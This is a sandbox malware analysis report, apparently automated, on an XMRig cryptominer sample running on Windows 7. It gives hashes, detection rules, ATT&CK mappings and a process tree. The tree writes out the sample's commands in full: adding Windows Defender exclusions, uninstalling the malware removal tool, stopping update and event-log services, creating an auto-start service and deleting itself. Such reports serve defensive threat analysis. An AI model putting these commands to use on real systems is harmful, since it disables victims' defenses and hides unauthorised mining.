xmrig | 011e2aef074e3decb896a08e595c457d98a68d810f14dea22adba0a6168a2b6c

Analysis

max time kernel
16s
max time network
111s
platform
windows7_x64
resource
win7-20240729-en
resource tags

arch:x64arch:x86image:win7-20240729-enlocale:en-usos:windows7-x64system
submitted
06/09/2024, 12:01

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General

Target

8b4e70db2a79ef7a402a951a39657230N.exe
Size

5.5MB
MD5

8b4e70db2a79ef7a402a951a39657230
SHA1

5b5d72686e0ef738f4e98f5c611e9deba0811366
SHA256

011e2aef074e3decb896a08e595c457d98a68d810f14dea22adba0a6168a2b6c
SHA512

b7a7ffa5258999cf1275311754c87def06c6de953f08328d1040143598e2bc072a76488e30bb5aeae1b03c8e78d35556a6f3138fd38470e5f0783b5ec4202195
SSDEEP

98304:34Gr/W2hRkTwVNt6MkTi+XAVd18EjU6+cVX6IwUu:3jr/TMwVNtaP4KEjl6S

Score

10^/10

xmrig evasion execution miner persistence upx

Malware Config

Signatures

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 8 IoCs

miner

resource	yara_rule
behavioral1/memory/2384-32-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral1/memory/2384-33-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral1/memory/2384-35-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral1/memory/2384-39-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral1/memory/2384-38-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral1/memory/2384-37-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral1/memory/2384-36-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral1/memory/2384-40-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2188	powershell.exe
2908	powershell.exe

Creates new service(s) 2 TTPs
persistence execution

Windows Service
T1543.003

Service Execution
T1569.002
Stops running service(s) 4 TTPs
evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Executes dropped EXE 2 IoCs

pid	Process
476	Process not Found
3016	dddbhxbblxrl.exe

Loads dropped DLL 1 IoCs

pid	Process
476	Process not Found

UPX packed file 13 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/2384-30-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/2384-32-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/2384-31-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/2384-29-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/2384-28-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/2384-33-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/2384-27-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/2384-35-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/2384-39-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/2384-38-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/2384-37-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/2384-36-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/2384-40-0x0000000140000000-0x0000000140848000-memory.dmp	upx

Power Settings 1 TTPs 8 IoCs

powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

persistence

Power Settings

T1653

pid	Process
1452	powercfg.exe
2812	powercfg.exe
2768	powercfg.exe
2756	powercfg.exe
2084	powercfg.exe
836	powercfg.exe
840	powercfg.exe
1624	powercfg.exe

Drops file in System32 directory 4 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\MRT.exe	dddbhxbblxrl.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\system32\MRT.exe	8b4e70db2a79ef7a402a951a39657230N.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 3016 set thread context of 1388	3016	dddbhxbblxrl.exe	88
PID 3016 set thread context of 2384	3016	dddbhxbblxrl.exe	89

Drops file in Windows directory 2 IoCs

description	ioc	Process
File created	C:\Windows\wusa.lock	wusa.exe
File created	C:\Windows\wusa.lock	wusa.exe

Launches sc.exe 14 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
2260	sc.exe
2100	sc.exe
2104	sc.exe
2808	sc.exe
3024	sc.exe
2288	sc.exe
2956	sc.exe
1740	sc.exe
2936	sc.exe
2692	sc.exe
1808	sc.exe
2052	sc.exe
1940	sc.exe
1868	sc.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 00654b9b5400db01	powershell.exe

Suspicious behavior: EnumeratesProcesses 31 IoCs

pid	Process
2296	8b4e70db2a79ef7a402a951a39657230N.exe
2188	powershell.exe
2296	8b4e70db2a79ef7a402a951a39657230N.exe
2296	8b4e70db2a79ef7a402a951a39657230N.exe
2296	8b4e70db2a79ef7a402a951a39657230N.exe
2296	8b4e70db2a79ef7a402a951a39657230N.exe
2296	8b4e70db2a79ef7a402a951a39657230N.exe
2296	8b4e70db2a79ef7a402a951a39657230N.exe
2296	8b4e70db2a79ef7a402a951a39657230N.exe
2296	8b4e70db2a79ef7a402a951a39657230N.exe
2296	8b4e70db2a79ef7a402a951a39657230N.exe
2296	8b4e70db2a79ef7a402a951a39657230N.exe
2296	8b4e70db2a79ef7a402a951a39657230N.exe
2296	8b4e70db2a79ef7a402a951a39657230N.exe
2296	8b4e70db2a79ef7a402a951a39657230N.exe
2296	8b4e70db2a79ef7a402a951a39657230N.exe
2296	8b4e70db2a79ef7a402a951a39657230N.exe
3016	dddbhxbblxrl.exe
2908	powershell.exe
3016	dddbhxbblxrl.exe
3016	dddbhxbblxrl.exe
3016	dddbhxbblxrl.exe
3016	dddbhxbblxrl.exe
3016	dddbhxbblxrl.exe
3016	dddbhxbblxrl.exe
3016	dddbhxbblxrl.exe
3016	dddbhxbblxrl.exe
3016	dddbhxbblxrl.exe
3016	dddbhxbblxrl.exe
3016	dddbhxbblxrl.exe
3016	dddbhxbblxrl.exe

Suspicious use of AdjustPrivilegeToken 11 IoCs

description	pid	Process
Token: SeDebugPrivilege	2188	powershell.exe
Token: SeShutdownPrivilege	2768	powercfg.exe
Token: SeShutdownPrivilege	1452	powercfg.exe
Token: SeShutdownPrivilege	2756	powercfg.exe
Token: SeShutdownPrivilege	2812	powercfg.exe
Token: SeDebugPrivilege	2908	powershell.exe
Token: SeShutdownPrivilege	2084	powercfg.exe
Token: SeShutdownPrivilege	840	powercfg.exe
Token: SeShutdownPrivilege	1624	powercfg.exe
Token: SeShutdownPrivilege	836	powercfg.exe
Token: SeLockMemoryPrivilege	2384	nslookup.exe

Suspicious use of WriteProcessMemory 23 IoCs

description	pid	Process	procid_target
PID 3064 wrote to memory of 2724	3064	cmd.exe	38
PID 3064 wrote to memory of 2724	3064	cmd.exe	38
PID 3064 wrote to memory of 2724	3064	cmd.exe	38
PID 1520 wrote to memory of 772	1520	cmd.exe	63
PID 1520 wrote to memory of 772	1520	cmd.exe	63
PID 1520 wrote to memory of 772	1520	cmd.exe	63
PID 2760 wrote to memory of 856	2760	cmd.exe	72
PID 2760 wrote to memory of 856	2760	cmd.exe	72
PID 2760 wrote to memory of 856	2760	cmd.exe	72
PID 3016 wrote to memory of 1388	3016	dddbhxbblxrl.exe	88
PID 3016 wrote to memory of 1388	3016	dddbhxbblxrl.exe	88
PID 3016 wrote to memory of 1388	3016	dddbhxbblxrl.exe	88
PID 3016 wrote to memory of 1388	3016	dddbhxbblxrl.exe	88
PID 3016 wrote to memory of 1388	3016	dddbhxbblxrl.exe	88
PID 3016 wrote to memory of 1388	3016	dddbhxbblxrl.exe	88
PID 3016 wrote to memory of 1388	3016	dddbhxbblxrl.exe	88
PID 3016 wrote to memory of 1388	3016	dddbhxbblxrl.exe	88
PID 3016 wrote to memory of 1388	3016	dddbhxbblxrl.exe	88
PID 3016 wrote to memory of 2384	3016	dddbhxbblxrl.exe	89
PID 3016 wrote to memory of 2384	3016	dddbhxbblxrl.exe	89
PID 3016 wrote to memory of 2384	3016	dddbhxbblxrl.exe	89
PID 3016 wrote to memory of 2384	3016	dddbhxbblxrl.exe	89
PID 3016 wrote to memory of 2384	3016	dddbhxbblxrl.exe	89

C:\Users\Admin\AppData\Local\Temp\8b4e70db2a79ef7a402a951a39657230N.exe
"C:\Users\Admin\AppData\Local\Temp\8b4e70db2a79ef7a402a951a39657230N.exe"
1⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
PID:2296
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2188
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3064
- - C:\Windows\system32\wusa.exe
    wusa /uninstall /kb:890830 /quiet /norestart
    3⤵
    - Drops file in Windows directory
    PID:2724
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop UsoSvc
  2⤵
  - Launches sc.exe
  PID:2936
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop WaaSMedicSvc
  2⤵
  - Launches sc.exe
  PID:2808
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop wuauserv
  2⤵
  - Launches sc.exe
  PID:3024
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop bits
  2⤵
  - Launches sc.exe
  PID:1808
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop dosvc
  2⤵
  - Launches sc.exe
  PID:2692
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
  2⤵
  - Power Settings
  - Suspicious use of AdjustPrivilegeToken
  PID:2756
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
  2⤵
  - Power Settings
  - Suspicious use of AdjustPrivilegeToken
  PID:2768
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
  2⤵
  - Power Settings
  - Suspicious use of AdjustPrivilegeToken
  PID:2812
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
  2⤵
  - Power Settings
  - Suspicious use of AdjustPrivilegeToken
  PID:1452
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe delete "NCUDPJVW"
  2⤵
  - Launches sc.exe
  PID:2260
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe create "NCUDPJVW" binpath= "C:\ProgramData\eowgjsemsmrx\dddbhxbblxrl.exe" start= "auto"
  2⤵
  - Launches sc.exe
  PID:1940
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop eventlog
  2⤵
  - Launches sc.exe
  PID:2104
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe start "NCUDPJVW"
  2⤵
  - Launches sc.exe
  PID:2100
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\8b4e70db2a79ef7a402a951a39657230N.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1520
- - C:\Windows\system32\choice.exe
    choice /C Y /N /D Y /T 3
    3⤵
    PID:772

C:\ProgramData\eowgjsemsmrx\dddbhxbblxrl.exe
C:\ProgramData\eowgjsemsmrx\dddbhxbblxrl.exe
1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3016
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2908
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2760
- - C:\Windows\system32\wusa.exe
    wusa /uninstall /kb:890830 /quiet /norestart
    3⤵
    - Drops file in Windows directory
    PID:856
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop UsoSvc
  2⤵
  - Launches sc.exe
  PID:2956
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop WaaSMedicSvc
  2⤵
  - Launches sc.exe
  PID:2288
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop wuauserv
  2⤵
  - Launches sc.exe
  PID:1868
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop bits
  2⤵
  - Launches sc.exe
  PID:2052
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop dosvc
  2⤵
  - Launches sc.exe
  PID:1740
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
  2⤵
  - Power Settings
  - Suspicious use of AdjustPrivilegeToken
  PID:1624
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
  2⤵
  - Power Settings
  - Suspicious use of AdjustPrivilegeToken
  PID:840
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
  2⤵
  - Power Settings
  - Suspicious use of AdjustPrivilegeToken
  PID:836
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
  2⤵
  - Power Settings
  - Suspicious use of AdjustPrivilegeToken
  PID:2084
- C:\Windows\system32\conhost.exe
  C:\Windows\system32\conhost.exe
  2⤵
  PID:1388
- C:\Windows\system32\nslookup.exe
  nslookup.exe
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2384

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

System Services

T1569

Service Execution

T1569.002

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Power Settings

T1653

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Impair Defenses

T1562

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

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Downloads

\ProgramData\eowgjsemsmrx\dddbhxbblxrl.exe

Filesize
5.5MB

MD5
8b4e70db2a79ef7a402a951a39657230

SHA1
5b5d72686e0ef738f4e98f5c611e9deba0811366

SHA256
011e2aef074e3decb896a08e595c457d98a68d810f14dea22adba0a6168a2b6c

SHA512
b7a7ffa5258999cf1275311754c87def06c6de953f08328d1040143598e2bc072a76488e30bb5aeae1b03c8e78d35556a6f3138fd38470e5f0783b5ec4202195

Download Submit
memory/1388-21-0x0000000140000000-0x000000014000E000-memory.dmp

Filesize
56KB

Download
memory/1388-22-0x0000000140000000-0x000000014000E000-memory.dmp

Filesize
56KB

Download
memory/1388-20-0x0000000140000000-0x000000014000E000-memory.dmp

Filesize
56KB

Download
memory/1388-24-0x0000000140000000-0x000000014000E000-memory.dmp

Filesize
56KB

Download
memory/1388-19-0x0000000140000000-0x000000014000E000-memory.dmp

Filesize
56KB

Download
memory/1388-18-0x0000000140000000-0x000000014000E000-memory.dmp

Filesize
56KB

Download
memory/2188-7-0x000007FEF4E10000-0x000007FEF57AD000-memory.dmp

Filesize
9.6MB

Download
memory/2188-11-0x000007FEF4E10000-0x000007FEF57AD000-memory.dmp

Filesize
9.6MB

Download
memory/2188-10-0x000007FEF4E10000-0x000007FEF57AD000-memory.dmp

Filesize
9.6MB

Download
memory/2188-9-0x000007FEF4E10000-0x000007FEF57AD000-memory.dmp

Filesize
9.6MB

Download
memory/2188-8-0x000007FEF4E10000-0x000007FEF57AD000-memory.dmp

Filesize
9.6MB

Download
memory/2188-6-0x0000000002650000-0x0000000002658000-memory.dmp

Filesize
32KB

Download
memory/2188-5-0x000000001B560000-0x000000001B842000-memory.dmp

Filesize
2.9MB

Download
memory/2188-4-0x000007FEF50CE000-0x000007FEF50CF000-memory.dmp

Filesize
4KB

Download
memory/2384-30-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/2384-33-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/2384-32-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/2384-34-0x00000000000B0000-0x00000000000D0000-memory.dmp

Filesize
128KB

Download
memory/2384-31-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/2384-29-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/2384-28-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/2384-40-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/2384-27-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/2384-36-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/2384-35-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/2384-39-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/2384-38-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/2384-37-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/2908-17-0x00000000010F0000-0x00000000010F8000-memory.dmp

Filesize
32KB

Download
memory/2908-16-0x0000000019DB0000-0x000000001A092000-memory.dmp

Filesize
2.9MB

Download